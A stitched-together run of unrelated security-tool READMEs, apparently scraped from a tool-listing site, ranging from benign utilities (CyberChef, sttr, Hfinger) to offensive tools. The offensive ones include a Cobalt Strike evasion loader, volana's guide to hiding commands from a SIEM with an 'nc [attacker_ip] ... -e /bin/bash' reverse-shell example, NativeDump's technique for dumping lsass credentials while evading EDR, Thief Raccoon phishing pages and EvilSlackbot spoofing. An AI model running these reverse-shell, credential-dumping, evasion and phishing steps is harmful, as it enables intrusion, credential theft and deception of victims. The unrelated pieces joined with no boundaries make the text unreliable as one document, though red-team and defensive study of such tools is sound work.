Hfinger operates in five report modes, which differ in features represented in the fingerprint, thus information extracted from requests. These are (with the number used in the tool configuration): * mode 0 - producing a similar number of collisions and fingerprints as mode 2, but using fewer features, * mode 1 - representing all designed features, but producing a little more collisions than modes 0, 2, and 4, * mode 2 - optimal (the default mode), representing all features which are usually used during requests' analysis, but also offering a low number of collisions and generated fingerprints, * mode 3 - producing the lowest number of generated fingerprints from all modes, but achieving the highest number of collisions, * mode 4 - offering the highest fingerprint entropy, but also generating slightly more fingerprints than modes 0-2.
The modes were chosen in order to optimize Hfinger's capabilities to uniquely identify malware families versus the number of generated fingerprints. Modes 0, 2, and 4 offer a similar number of collisions between malware families, however, mode 4 generates a little more fingerprints than the other two. Mode 2 represents more request features than mode 0 with a comparable number of generated fingerprints and collisions. Mode 1 is the only one representing all designed features, but it increases the number of collisions by almost two times comparing to modes 0, 1, and 4. Mode 3 produces at least two times fewer fingerprints than other modes, but it introduces about nine times more collisions. Description of all designed features is here.
The modes consist of features (in the order of appearance in the fingerprint): * mode 0: * number of directories, * average directory length represented as an integer, * extension of the requested file, * average value length represented as a float, * order of headers, * popular headers and their values, * payload length represented as a float. * mode 1: * URI length represented as an integer, * number of directories, * average directory length represented as an integer, * extension of the requested file, * variable length represented as an integer, * number of variables, * average value length represented as an integer, * request method, * version of protocol, * order of headers, * popular headers and their values, * presence of non-ASCII characters, * payload entropy represented as an integer, * payload length represented as an integer. * mode 2: * URI length represented as an integer, * number of directories, * average directory length represented as an integer, * extension of the requested file, * average value length represented as a float, * request method, * version of protocol, * order of headers, * popular headers and their values, * presence of non-ASCII characters, * payload entropy represented as an integer, * payload length represented as a float. * mode 3: * URI length represented as an integer, * average directory length represented as an integer, * extension of the requested file, * average value length represented as an integer, * order of headers. * mode 4: * URI length represented as a float, * number of directories, * average directory length represented as a float, * extension of the requested file, * variable length represented as a float, * average value length represented as a float, * request method, * version of protocol, * order of headers, * popular headers and their values, * presence of non-ASCII characters, * payload entropy represented as a float, * payload length represented as a float.
A vulnerable application made using node.js, express server and ejs template engine. This application is meant for educational purposes only.
git clone https://github.com/4auvar/VulnNodeApp.git
npm install
CREATE USER 'vulnnodeapp'@'localhost' IDENTIFIED BY 'password';
create database vuln_node_app_db;
GRANT ALL PRIVILEGES ON vuln_node_app_db.* TO 'vulnnodeapp'@'localhost';
USE vuln_node_app_db;
create table users (id int AUTO_INCREMENT PRIMARY KEY, fullname varchar(255), username varchar(255),password varchar(255), email varchar(255), phone varchar(255), profilepic varchar(255));
insert into users(fullname,username,password,email,phone) values("test1","test1","test1","test1@test.com","976543210");
insert into users(fullname,username,password,email,phone) values("test2","test2","test2","test2@test.com","9887987541");
insert into users(fullname,username,password,email,phone) values("test3","test3","test3","test3@test.com","9876987611");
insert into users(fullname,username,password,email,phone) values("test4","test4","test4","test4@test.com","9123459876");
insert into users(fullname,username,password,email,phone) values("test5","test5","test 5","test5@test.com","7893451230");
npm start
You can reach me out at @4auvar
XM Goat is composed of XM Cyber terraform templates that help you learn about common Azure security issues. Each template is a vulnerable environment, with some significant misconfigurations. Your job is to attack and compromise the environments.
Here's what to do for each environment:
Run installation and then get started.
With the initial user and service principal credentials, attack the environment based on the scenario flow (for example, XMGoat/scenarios/scenario_1/scenario1_flow.png).
If you need help with your attack, refer to the solution (for example, XMGoat/scenarios/scenario_1/solution.md).
When you're done learning the attack, clean up.
Run these commands:
$ az login
$ git clone https://github.com/XMCyber/XMGoat.git
$ cd XMGoat
$ cd scenarios
$ cd scenario_<\SCENARIO>
Where <\SCENARIO> is the scenario number you want to complete
$ terraform init
$ terraform plan -out <\FILENAME>
$ terraform apply <\FILENAME>
Where <\FILENAME> is the name of the output file
To get the initial user and service principal credentials, run the following query:
$ terraform output --json
For Service Principals, use application_id.value and application_secret.value.
For Users, use username.value and password.value.
After completing the scenario, run the following command in order to clean all the resources created in your tenant
$ az login
$ cd XMGoat
$ cd scenarios
$ cd scenario_<\SCENARIO>
Where <\SCENARIO> is the scenario number you want to complete
$ terraform destroy
Analyse binaries for missing security features, information disclosure and more.
Extrude is in the early stages of development, and currently only supports ELF and MachO binaries. PE (Windows) binaries will be supported soon.
Usage:
extrude [flags] [file]
Flags:
-a, --all Show details of all tests, not just those which failed.
-w, --fail-on-warning Exit with a non-zero status even if only warnings are discovered.
-h, --help help for extrude
You can optionally run extrude with docker via:
docker run -v `pwd`:/blah -it ghcr.io/liamg/extrude /blah/targetfile
Coming soon...
A proof-of-concept User-Defined Reflective Loader (UDRL) which aims to recreate, integrate, and enhance Cobalt Strike's evasion features!
| Contributor | Notable Contributions | |
|---|---|---|
| Bobby Cooke | @0xBoku | Project original author and maintainer |
| Santiago Pecin | @s4ntiago_p | Reflective Loader major enhancements |
| Chris Spehn | @ConsciousHacker | Aggressor scripting |
| Joshua Magri | @passthehashbrwn | IAT hooking |
| Dylan Tran | @d_tranman | Reflective Call Stack Spoofing |
| James Yeung | @5cript1diot | Indirect System Calls |
The built-in Cobalt Strike reflective loader is robust, handling all Malleable PE evasion features Cobalt Strike has to offer. The major disadvantage to using a custom UDRL is Malleable PE evasion features may or may not be supported out-of-the-box.
The objective of the public BokuLoader project is to assist red teams in creating their own in-house Cobalt Strike UDRL. The project aims to support all worthwhile CS Malleable PE evasion features. Some evasion features leverage CS integration, others have been recreated completely, and some are unsupported.
Before using this project, in any form, you should properly test the evasion features are working as intended. Between the C code and the Aggressor script, compilation with different versions of operating systems, compilers, and Java may return different results.
NtProtectVirtualMemory
obfuscate "true" with custom UDRL Aggressor script implementation.0x1000 bytes will be nulls.XGetProcAddress for resolving symbolsKernel32.GetProcAddress
xLoadLibrary for resolving DLL's base address & DLL LoadingTEB->PEB->PEB_LDR_DATA->InMemoryOrderModuleList
Kernel32.LoadLibraryA
| Command | Option(s) | Supported |
|---|---|---|
allocator | HeapAlloc, MapViewOfFile, VirtualAlloc | All supported via BokuLoader implementation |
module_x64 | string (DLL Name) | Supported via BokuLoader implementation. Same DLL stomping requirements as CS implementation apply |
obfuscate | true/false | HTTP/S beacons supported via BokuLoader implementation. SMB/TCP is currently not supported for obfuscate true. Details in issue. Accepting help if you can fix :) |
entry_point | RVA as decimal number | Supported via BokuLoader implementation |
cleanup | true | Supported via CS integration |
userwx | true/false | Supported via BokuLoader implementation |
sleep_mask | (true/false) or (Sleepmask Kit+true) | Supported. When using default "sleepmask true" (without sleepmask kit) set "userwx true". When using sleepmask kit which supports RX beacon.text memory (src47/Ekko) set "sleepmask true" && "userwx false". |
magic_mz_x64 | 4 char string | Supported via CS integration |
magic_pe | 2 char string | Supported via CS integration |
transform-x64 prepend | escaped hex string |
BokuLoader.cna Aggressor script modification |
transform-x64 strrep | string string |
BokuLoader.cna Aggressor script modification |
stomppe | true/false | Unsupported. BokuLoader does not copy beacon DLL headers over. First 0x1000 bytes of virtual beacon DLL are 0x00
|
checksum | number | Experimental. BokuLoader.cna Aggressor script modification |
compile_time | date-time string | Experimental. BokuLoader.cna Aggressor script modification |
image_size_x64 | decimal value | Unsupported |
name | string | Experimental. BokuLoader.cna Aggressor script modification |
rich_header | escaped hex string | Experimental. BokuLoader.cna Aggressor script modification |
stringw | string | Unsupported |
string | string | Unsupported |
make
BokuLoader.cna Aggressor scriptUse the Script Console to ensure BokuLoader was implemented in the beacon build
Does not support x86 option. The x86 bin is the original Reflective Loader object file.
RAW beacons works out of the box. When using the Artifact Kit for the beacon loader, the stagesize variable must be larger than the default.| Original Cobalt Strike String | BokuLoader Cobalt Strike String |
|---|---|
| ReflectiveLoader | BokuLoader |
| Microsoft Base Cryptographic Provider v1.0 | 12367321236742382543232341241261363163151d |
| (admin) | (tomin) |
| beacon | bacons |
Kernel32.LoadLibraryExA is called to map the DLL from diskKernel32.LoadLibraryExA is DONT_RESOLVE_DLL_REFERENCES (0x00000001)
RX or RWX memory will exist in the heap if sleepmask kit is not used.Kernel32.CreateFileMappingA & Kernel32.MapViewOfFile is called to allocate memory for the virtual beacon DLL.NtAllocateVirtualMemory, NtProtectVirtualMemory
ntdll.dll will not detect these systemcalls.mov eax, r11d; mov r11, r10; mov r10, rcx; jmp r11 assembly instructions within its executable memory.0x1000 bytes of the virtual beacon DLL are zeros.
During pentest, an important aspect is to be stealth. For this reason you should clear your tracks after your passage. Nevertheless, many infrastructures log command and send them to a SIEM in a real time making the afterwards cleaning part alone useless.volana provide a simple way to hide commands executed on compromised machine by providing it self shell runtime (enter your command, volana executes for you). Like this you clear your tracks DURING your passage
You need to get an interactive shell. (Find a way to spawn it, you are a hacker, it's your job ! otherwise). Then download it on target machine and launch it. that's it, now you can type the command you want to be stealthy executed
## Download it from github release
## If you do not have internet access from compromised machine, find another way
curl -lO -L https://github.com/ariary/volana/releases/latest/download/volana
## Execute it
./volana
## You are now under the radar
volana ยป echo "Hi SIEM team! Do you find me?" > /dev/null 2>&1 #you are allowed to be a bit cocky
volana ยป [command]
Keyword for volana console: * ring: enable ring mode ie each command is launched with plenty others to cover tracks (from solution that monitor system call) * exit: exit volana console
Imagine you have a non interactive shell (webshell or blind rce), you could use encrypt and decrypt subcommand. Previously, you need to build volana with embedded encryption key.
On attacker machine
## Build volana with encryption key
make build.volana-with-encryption
## Transfer it on TARGET (the unique detectable command)
## [...]
## Encrypt the command you want to stealthy execute
## (Here a nc bindshell to obtain a interactive shell)
volana encr "nc [attacker_ip] [attacker_port] -e /bin/bash"
>>> ENCRYPTED COMMAND
Copy encrypted command and executed it with your rce on target machine
./volana decr [encrypted_command]
## Now you have a bindshell, spawn it to make it interactive and use volana usually to be stealth (./volana). + Don't forget to remove volana binary before leaving (cause decryption key can easily be retrieved from it)
Why not just hide command with echo [command] | base64 ? And decode on target with echo [encoded_command] | base64 -d | bash
Because we want to be protected against systems that trigger alert for base64 use or that seek base64 text in command. Also we want to make investigation difficult and base64 isn't a real brake.
Keep in mind that volana is not a miracle that will make you totally invisible. Its aim is to make intrusion detection and investigation harder.
By detected we mean if we are able to trigger an alert if a certain command has been executed.
Only the volana launching command line will be catched. ๐ง However, by adding a space before executing it, the default bash behavior is to not save it
.bash_history, ".zsh_history" etc ..opensnoop)script, screen -L, sexonthebash, ovh-ttyrec, etc..)pkill -9 script
screen is a bit more difficult to avoid, however it does not register input (secret input: stty -echo => avoid)volana with encryption /var/log/auth.log)sudo or su commandslogger -p auth.info "No hacker is poisoning your syslog solution, don't worry")LD_PRELOAD injection to make logSorry for the clickbait title, but no money will be provided for contibutors. ๐
Let me know if you have found: * a way to detect volana * a way to spy console that don't detect volana commands * a way to avoid a detection system
CyberChef is a simple, intuitive web app for carrying out all manner of "cyber" operations within a web browser. These operations include simple encoding like XOR and Base64, more complex encryption like AES, DES and Blowfish, creating binary and hexdumps, compression and decompression of data, calculating hashes and checksums, IPv6 and X.509 parsing, changing character encodings, and much more.
The tool is designed to enable both technical and non-technical analysts to manipulate data in complex ways without having to deal with complex tools or algorithms. It was conceived, designed, built and incrementally improved by an analyst in their 10% innovation time over several years.
CyberChef is still under active development. As a result, it shouldn't be considered a finished product. There is still testing and bug fixing to do, new features to be added and additional documentation to write. Please contribute!
Cryptographic operations in CyberChef should not be relied upon to provide security in any situation. No guarantee is offered for their correctness.
A live demo can be found here - have fun!
If you would like to try out CyberChef locally you can either build it yourself:
docker build --tag cyberchef --ulimit nofile=10000 .
docker run -it -p 8080:80 cyberchef
Or you can use our image directly:
docker run -it -p 8080:80 ghcr.io/gchq/cyberchef:latest
This image is built and published through our GitHub Workflows
There are four main areas in CyberChef:
You can use as many operations as you like in simple or complex ways. Some examples are as follows:
By manipulating CyberChef's URL hash, you can change the initial settings with which the page opens. The format is https://gchq.github.io/CyberChef/#recipe=Operation()&input=...
Supported arguments are recipe, input (encoded in Base64), and theme.
CyberChef is built to support
CyberChef is built to fully support Node.js v16. For more information, see the "Node API" wiki page
Contributing a new operation to CyberChef is super easy! The quickstart script will walk you through the process. If you can write basic JavaScript, you can write a CyberChef operation.
An installation walkthrough, how-to guides for adding new operations and themes, descriptions of the repository structure, available data types and coding conventions can all be found in the "Contributing" wiki page.
NativeDump allows to dump the lsass process using only NTAPIs generating a Minidump file with only the streams needed to be parsed by tools like Mimikatz or Pypykatz (SystemInfo, ModuleList and Memory64List Streams).
Usage:
NativeDump.exe [DUMP_FILE]
The default file name is "proc_
The tool has been tested against Windows 10 and 11 devices with the most common security solutions (Microsoft Defender for Endpoints, Crowdstrike...) and is for now undetected. However, it does not work if PPL is enabled in the system.
Some benefits of this technique are: - It does not use the well-known dbghelp!MinidumpWriteDump function - It only uses functions from Ntdll.dll, so it is possible to bypass API hooking by remapping the library - The Minidump file does not have to be written to disk, you can transfer its bytes (encoded or encrypted) to a remote machine
The project has three branches at the moment (apart from the main branch with the basic technique):
ntdlloverwrite - Overwrite ntdll.dll's ".text" section using a clean version from the DLL file already on disk
delegates - Overwrite ntdll.dll + Dynamic function resolution + String encryption with AES + XOR-encoding
remote - Overwrite ntdll.dll + Dynamic function resolution + String encryption with AES + Send file to remote machine + XOR-encoding
After reading Minidump undocumented structures, its structure can be summed up to:
I created a parsing tool which can be helpful: MinidumpParser.
We will focus on creating a valid file with only the necessary values for the header, stream directory and the only 3 streams needed for a Minidump file to be parsed by Mimikatz/Pypykatz: SystemInfo, ModuleList and Memory64List Streams.
The header is a 32-bytes structure which can be defined in C# as:
public struct MinidumpHeader
{
public uint Signature;
public ushort Version;
public ushort ImplementationVersion;
public ushort NumberOfStreams;
public uint StreamDirectoryRva;
public uint CheckSum;
public IntPtr TimeDateStamp;
}
The required values are: - Signature: Fixed value 0x504d44d ("MDMP" string) - Version: Fixed value 0xa793 (Microsoft constant MINIDUMP_VERSION) - NumberOfStreams: Fixed value 3, the three Streams required for the file - StreamDirectoryRVA: Fixed value 0x20 or 32 bytes, the size of the header
Each entry in the Stream Directory is a 12-bytes structure so having 3 entries the size is 36 bytes. The C# struct definition for an entry is:
public struct MinidumpStreamDirectoryEntry
{
public uint StreamType;
public uint Size;
public uint Location;
}
The field "StreamType" represents the type of stream as an integer or ID, some of the most relevant are:
| ID | Stream Type |
|---|---|
| 0x00 | UnusedStream |
| 0x01 | ReservedStream0 |
| 0x02 | ReservedStream1 |
| 0x03 | ThreadListStream |
| 0x04 | ModuleListStream |
| 0x05 | MemoryListStream |
| 0x06 | ExceptionStream |
| 0x07 | SystemInfoStream |
| 0x08 | ThreadExListStream |
| 0x09 | Memory64ListStream |
| 0x0A | CommentStreamA |
| 0x0B | CommentStreamW |
| 0x0C | HandleDataStream |
| 0x0D | FunctionTableStream |
| 0x0E | UnloadedModuleListStream |
| 0x0F | MiscInfoStream |
| 0x10 | MemoryInfoListStream |
| 0x11 | ThreadInfoListStream |
| 0x12 | HandleOperationListStream |
| 0x13 | TokenStream |
| 0x16 | HandleOperationListStream |
First stream is a SystemInformation Stream, with ID 7. The size is 56 bytes and will be located at offset 68 (0x44), after the Stream Directory. Its C# definition is:
public struct SystemInformationStream
{
public ushort ProcessorArchitecture;
public ushort ProcessorLevel;
public ushort ProcessorRevision;
public byte NumberOfProcessors;
public byte ProductType;
public uint MajorVersion;
public uint MinorVersion;
public uint BuildNumber;
public uint PlatformId;
public uint UnknownField1;
public uint UnknownField2;
public IntPtr ProcessorFeatures;
public IntPtr ProcessorFeatures2;
public uint UnknownField3;
public ushort UnknownField14;
public byte UnknownField15;
}
The required values are: - ProcessorArchitecture: 9 for 64-bit and 0 for 32-bit Windows systems - Major version, Minor version and the BuildNumber: Hardcoded or obtained through kernel32!GetVersionEx or ntdll!RtlGetVersion (we will use the latter)
Second stream is a ModuleList stream, with ID 4. It is located at offset 124 (0x7C) after the SystemInformation stream and it will also have a fixed size, of 112 bytes, since it will have the entry of a single module, the only one needed for the parse to be correct: "lsasrv.dll".
The typical structure for this stream is a 4-byte value containing the number of entries followed by 108-byte entries for each module:
public struct ModuleListStream
{
public uint NumberOfModules;
public ModuleInfo[] Modules;
}
As there is only one, it gets simplified to:
public struct ModuleListStream
{
public uint NumberOfModules;
public IntPtr BaseAddress;
public uint Size;
public uint UnknownField1;
public uint Timestamp;
public uint PointerName;
public IntPtr UnknownField2;
public IntPtr UnknownField3;
public IntPtr UnknownField4;
public IntPtr UnknownField5;
public IntPtr UnknownField6;
public IntPtr UnknownField7;
public IntPtr UnknownField8;
public IntPtr UnknownField9;
public IntPtr UnknownField10;
public IntPtr UnknownField11;
}
The required values are: - NumberOfStreams: Fixed value 1 - BaseAddress: Using psapi!GetModuleBaseName or a combination of ntdll!NtQueryInformationProcess and ntdll!NtReadVirtualMemory (we will use the latter) - Size: Obtained adding all memory region sizes since BaseAddress until one with a size of 4096 bytes (0x1000), the .text section of other library - PointerToName: Unicode string structure for the "C:\Windows\System32\lsasrv.dll" string, located after the stream itself at offset 236 (0xEC)
Third stream is a Memory64List stream, with ID 9. It is located at offset 298 (0x12A), after the ModuleList stream and the Unicode string, and its size depends on the number of modules.
public struct Memory64ListStream
{
public ulong NumberOfEntries;
public uint MemoryRegionsBaseAddress;
public Memory64Info[] MemoryInfoEntries;
}
Each module entry is a 16-bytes structure:
public struct Memory64Info
{
public IntPtr Address;
public IntPtr Size;
}
The required values are: - NumberOfEntries: Number of memory regions, obtained after looping memory regions - MemoryRegionsBaseAddress: Location of the start of memory regions bytes, calculated after adding the size of all 16-bytes memory entries - Address and Size: Obtained for each valid region while looping them
There are pre-requisites to loop the memory regions of the lsass.exe process which can be solved using only NTAPIs:
With this it is possible to traverse process memory by calling: - ntdll!NtQueryVirtualMemory: Return a MEMORY_BASIC_INFORMATION structure with the protection type, state, base address and size of each memory region - If the memory protection is not PAGE_NOACCESS (0x01) and the memory state is MEM_COMMIT (0x1000), meaning it is accessible and committed, the base address and size populates one entry of the Memory64List stream and bytes can be added to the file - If the base address equals lsasrv.dll base address, it is used to calculate the size of lsasrv.dll in memory - ntdll!NtReadVirtualMemory: Add bytes of that region to the Minidump file after the Memory64List Stream
After previous steps we have all that is necessary to create the Minidump file. We can create a file locally or send the bytes to a remote machine, with the possibility of encoding or encrypting the bytes before. Some of these possibilities are coded in the delegates branch, where the file created locally can be encoded with XOR, and in the remote branch, where the file can be encoded with XOR before being sent to a remote machine.
sttr is command line software that allows you to quickly run various transformation operations on the string.
// With input prompt
sttr
// Direct input
sttr md5 "Hello World"
// File input
sttr md5 file.text
sttr base64-encode image.jpg
// Reading from different processor like cat, curl, printf etc..
echo "Hello World" | sttr md5
cat file.txt | sttr md5
// Writing output to a file
sttr yaml-json file.yaml > file-output.json
You can run the below curl to install it somewhere in your PATH for easy use. Ideally it will be installed at ./bin folder
curl -sfL https://raw.githubusercontent.com/abhimanyu003/sttr/main/install.sh | sh
curl -sS https://webi.sh/sttr | sh
curl.exe https://webi.ms/sttr | powershell
See here
If you are on macOS and using Homebrew, you can install sttr with the following:
brew tap abhimanyu003/sttr
brew install sttr
sudo snap install sttr
yay -S sttr-bin
scoop bucket add sttr https://github.com/abhimanyu003/scoop-bucket.git
scoop install sttr
go install github.com/abhimanyu003/sttr@latest
Download the pre-compiled binaries from the Release! page and copy them to the desired location.
sttr command.// For interactive menu
sttr
// Provide your input
// Press two enter to open operation menu
// Press `/` to filter various operations.
// Can also press UP-Down arrows select various operations.
sttr -h
// Example
sttr zeropad -h
sttr md5 -h
sttr {command-name} {filename}
sttr base64-encode image.jpg
sttr md5 file.txt
sttr md-html Readme.md
sttr yaml-json file.yaml > file-output.json
curl https: //jsonplaceholder.typicode.com/users | sttr json-yaml
sttr md5 hello | sttr base64-encode
echo "Hello World" | sttr base64-encode | sttr md5
These are the few locations where sttr was highlighted, many thanks to all of you. Please feel free to add any blogs/videos you may have made that discuss sttr to the list.
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Pip-Intel is a powerful tool designed for OSINT (Open Source Intelligence) and cyber intelligence gathering activities. It consolidates various open-source tools into a single user-friendly interface simplifying the data collection and analysis processes for researchers and cybersecurity professionals.
Pip-Intel utilizes Python-written pip packages to gather information from various data points. This tool is equipped with the capability to collect detailed information through email addresses, phone numbers, IP addresses, and social media accounts. It offers a wide range of functionalities including email-based OSINT operations, phone number-based inquiries, geolocating IP addresses, social media and user analyses, and even dark web searches.
Thief Raccoon is a tool designed for educational purposes to demonstrate how phishing attacks can be conducted on various operating systems. This tool is intended to raise awareness about cybersecurity threats and help users understand the importance of security measures like 2FA and password management.
```bash git clone https://github.com/davenisc/thief_raccoon.git cd thief_raccoon
```bash apt install python3.11-venv
```bash python -m venv raccoon_venv source raccoon_venv/bin/activate
```bash pip install -r requirements.txt
Usage
```bash python app.py
After running the script, you will be presented with a menu to select the operating system. Enter the number corresponding to the OS you want to simulate.
If you are on the same local network (LAN), open your web browser and navigate to http://127.0.0.1:5000.
If you want to make the phishing page accessible over the internet, use ngrok.
Using ngrok
Download ngrok from ngrok.com and follow the installation instructions for your operating system.
Expose your local server to the internet:
Get the public URL:
After running the above command, ngrok will provide you with a public URL. Share this URL with your test subjects to access the phishing page over the internet.
How to install Ngrok on Linux?
```bash curl -s https://ngrok-agent.s3.amazonaws.com/ngrok.asc \ | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null \ && echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \ | sudo tee /etc/apt/sources.list.d/ngrok.list \ && sudo apt update \ && sudo apt install ngrok
```bash ngrok config add-authtoken xxxxxxxxx--your-token-xxxxxxxxxxxxxx
Deploy your app online
Put your app online at ephemeral domain Forwarding to your upstream service. For example, if it is listening on port http://localhost:8080, run:
```bash ngrok http http://localhost:5000
Example
```bash python app.py
```bash Select the operating system for phishing: 1. Windows 10 2. Windows 11 3. Windows XP 4. Windows Server 5. Ubuntu 6. Ubuntu Server 7. macOS Enter the number of your choice: 2
Open your browser and go to http://127.0.0.1:5000 or the ngrok public URL.
Disclaimer
This tool is intended for educational purposes only. The author is not responsible for any misuse of this tool. Always obtain explicit permission from the owner of the system before conducting any phishing tests.
License
This project is licensed under the MIT License. See the LICENSE file for details.
ScreenShots
Credits
Developer: @davenisc Web: https://davenisc.com
Retrieves relevant subdomains for the target website and consolidates them into a whitelist. These subdomains can be utilized during the scraping process.
Site-wide Link Discovery:
Collects all links throughout the website based on the provided whitelist and the specified max_depth.
Form and Input Extraction:
Identifies all forms and inputs found within the extracted links, generating a JSON output. This JSON output serves as a foundation for leveraging the XSS scanning capability of the tool.
XSS Scanning:
Note:
The scanning functionality is currently inactive on SPA (Single Page Application) web applications, and we have only tested it on websites developed with PHP, yielding remarkable results. In the future, we plan to incorporate these features into the tool.
Note:
This tool maintains an up-to-date list of file extensions that it skips during the exploration process. The default list includes common file types such as images, stylesheets, and scripts (
".css",".js",".mp4",".zip","png",".svg",".jpeg",".webp",".jpg",".gif"). You can customize this list to better suit your needs by editing the setting.json file..
$ git clone https://github.com/joshkar/X-Recon
$ cd X-Recon
$ python3 -m pip install -r requirements.txt
$ python3 xr.py
You can use this address in the Get URL section
http://testphp.vulnweb.com
ROPDump is a tool for analyzing binary executables to identify potential Return-Oriented Programming (ROP) gadgets, as well as detecting potential buffer overflow and memory leak vulnerabilities.
<binary>: Path to the binary file for analysis.-s, --search SEARCH: Optional. Search for specific instruction patterns.-f, --functions: Optional. Print function names and addresses.python3 ropdump.py /path/to/binary
python3 ropdump.py /path/to/binary -s "pop eax"
python3 ropdump.py /path/to/binary -f
This is a simple SBOM utility which aims to provide an insider view on which packages are getting executed.
The process and objective is simple we can get a clear perspective view on the packages installed by APT (currently working on implementing this for RPM and other package managers). This is mainly needed to check which all packages are actually being executed.
The packages needed are mentioned in the requirements.txt file and can be installed using pip:
pip3 install -r requirements.txt
Mount the image: Currently I am still working on a mechanism to automatically define a mount point and mount different types of images and volumes but its still quite a task for me.| Argument | Description |
|---|---|
--analysis-mode | Specifies the mode of operation. Default is static. Choices are static and chroot. |
--static-type | Specifies the type of analysis for static mode. Required for static mode only. Choices are info and service. |
--volume-path | Specifies the path to the mounted volume. Default is /mnt. |
--save-file | Specifies the output file for JSON output. |
--info-graphic | Specifies whether to generate visual plots for CHROOT analysis. Default is True. |
--pkg-mgr | Manually specify the package manager or dont add this option for automatic check. |
| APT: | |
| - Static Info Analysis: | |
| - This command runs the program in static analysis mode, specifically using the Info Directory analysis method. | |
- It analyzes the packages installed on the mounted volume located at /mnt. | |
- It saves the output in a JSON file named output.json. | |
| - It generates visual plots for CHROOT analysis. |
```bash
python3 main.py --pkg-mgr apt --analysis-mode static --static-type info --volume-path /mnt --save-file output.json
```
Static Service Analysis:
This command runs the program in static analysis mode, specifically using the Service file analysis method.
/custom_mount.output.json.It does not generate visual plots for CHROOT analysis. bash python3 main.py --pkg-mgr apt --analysis-mode static --static-type service --volume-path /custom_mount --save-file output.json --info-graphic False
Chroot analysis with or without Graphic output:
/mnt.output.json.--info-graphic as True else False bash python3 main.py --pkg-mgr apt --analysis-mode chroot --volume-path /mnt --save-file output.json --info-graphic True/False
RPM - Static Analysis: - Similar to how its done on apt but there is only one type of static scan avaialable for now. bash python3 main.py --pkg-mgr rpm --analysis-mode static --volume-path /mnt --save-file output.json
bash python3 main.py --pkg-mgr rpm --analysis-mode chroot --volume-path /mnt --save-file output.json --info-graphic True/False
Currently the tool works on Debian and Red Hat based images I can guarentee the debian outputs but the Red-Hat onces still needs work to be done its not perfect.
I am working on the pacman side of things I am trying to find a relaiable way of accessing the pacman db for static analysis.
For the workings and process related documentation please read the wiki page: Link
Ideas regarding this topic are welcome in the discussions page.
A Slack Attack Framework for conducting Red Team and phishing exercises within Slack workspaces.
This tool is intended for Security Professionals only. Do not use this tool against any Slack workspace without explicit permission to test. Use at your own risk.
Thousands of organizations utilize Slack to help their employees communicate, collaborate, and interact. Many of these Slack workspaces install apps or bots that can be used to automate different tasks within Slack. These bots are individually provided permissions that dictate what tasks the bot is permitted to request via the Slack API. To authenticate to the Slack API, each bot is assigned an api token that begins with xoxb or xoxp. More often than not, these tokens are leaked somewhere. When these tokens are exfiltrated during a Red Team exercise, it can be a pain to properly utilize them. Now EvilSlackbot is here to automate and streamline that process. You can use EvilSlackbot to send spoofed Slack messages, phishing links, files, and search for secrets leaked in slack.
In addition to red teaming, EvilSlackbot has also been developed with Slack phishing simulations in mind. To use EvilSlackbot to conduct a Slack phishing exercise, simply create a bot within Slack, give your bot the permissions required for your intended test, and provide EvilSlackbot with a list of emails of employees you would like to test with simulated phishes (Links, files, spoofed messages)
EvilSlackbot requires python3 and Slackclient
pip3 install slackclient
usage: EvilSlackbot.py [-h] -t TOKEN [-sP] [-m] [-s] [-a] [-f FILE] [-e EMAIL]
[-cH CHANNEL] [-eL EMAIL_LIST] [-c] [-o OUTFILE] [-cL]
options:
-h, --help show this help message and exit
Required:
-t TOKEN, --token TOKEN
Slack Oauth token
Attacks:
-sP, --spoof Spoof a Slack message, customizing your name, icon, etc
(Requires -e,-eL, or -cH)
-m, --message Send a message as the bot associated with your token
(Requires -e,-eL, or -cH)
-s, --search Search slack for secrets with a keyword
-a, --attach Send a message containing a malicious attachment (Requires -f
and -e,-eL, or -cH)
Arguments:
-f FILE, --file FILE Path to file attachment
-e EMAIL, --email EMAIL
Email of target
-cH CHANNEL, --channel CHANNEL
Target Slack Channel (Do not include #)
-eL EMAIL_LIST, --email_list EMAIL_LIST
Path to list of emails separated by newline
-c, --check Lookup and display the permissions and available attacks
associated with your provided token.
-o OUTFILE, --outfile OUTFILE
Outfile to store search results
-cL, --channel_list List all public Slack channels
To use this tool, you must provide a xoxb or xoxp token.
Required:
-t TOKEN, --token TOKEN (Slack xoxb/xoxp token)
python3 EvilSlackbot.py -t <token>
Depending on the permissions associated with your token, there are several attacks that EvilSlackbot can conduct. EvilSlackbot will automatically check what permissions your token has and will display them and any attack that you are able to perform with your given token.
Attacks:
-sP, --spoof Spoof a Slack message, customizing your name, icon, etc (Requires -e,-eL, or -cH)
-m, --message Send a message as the bot associated with your token (Requires -e,-eL, or -cH)
-s, --search Search slack for secrets with a keyword
-a, --attach Send a message containing a malicious attachment (Requires -f and -e,-eL, or -cH)
With the correct token permissions, EvilSlackbot allows you to send phishing messages while impersonating the botname and bot photo. This attack also requires either the email address (-e) of the target, a list of target emails (-eL), or the name of a Slack channel (-cH). EvilSlackbot will use these arguments to lookup the SlackID of the user associated with the provided emails or channel name. To automate your attack, use a list of emails.
python3 EvilSlackbot.py -t <xoxb token> -sP -e <email address>
python3 EvilSlackbot.py -t <xoxb token> -sP -eL <email list>
python3 EvilSlackbot.py -t <xoxb token> -sP -cH <Channel name>
With the correct token permissions, EvilSlackbot allows you to send phishing messages containing phishing links. What makes this attack different from the Spoofed attack is that this method will send the message as the bot associated with your provided token. You will not be able to choose the name or image of the bot sending your phish. This attack also requires either the email address (-e) of the target, a list of target emails (-eL), or the name of a Slack channel (-cH). EvilSlackbot will use these arguments to lookup the SlackID of the user associated with the provided emails or channel name. To automate your attack, use a list of emails.
python3 EvilSlackbot.py -t <xoxb token> -m -e <email address>
python3 EvilSlackbot.py -t <xoxb token> -m -eL <email list>
python3 EvilSlackbot.py -t <xoxb token> -m -cH <Channel name>
With the correct token permissions, EvilSlackbot allows you to search Slack for secrets via a keyword search. Right now, this attack requires a xoxp token, as xoxb tokens can not be given the proper permissions to keyword search within Slack. Use the -o argument to write the search results to an outfile.
python3 EvilSlackbot.py -t <xoxp token> -s -o <outfile.txt>
With the correct token permissions, EvilSlackbot allows you to send file attachments. The attachment attack requires a path to the file (-f) you wish to send. This attack also requires either the email address (-e) of the target, a list of target emails (-eL), or the name of a Slack channel (-cH). EvilSlackbot will use these arguments to lookup the SlackID of the user associated with the provided emails or channel name. To automate your attack, use a list of emails.
python3 EvilSlackbot.py -t <xoxb token> -a -f <path to file> -e <email address>
python3 EvilSlackbot.py -t <xoxb token> -a -f <path to file> -eL <email list>
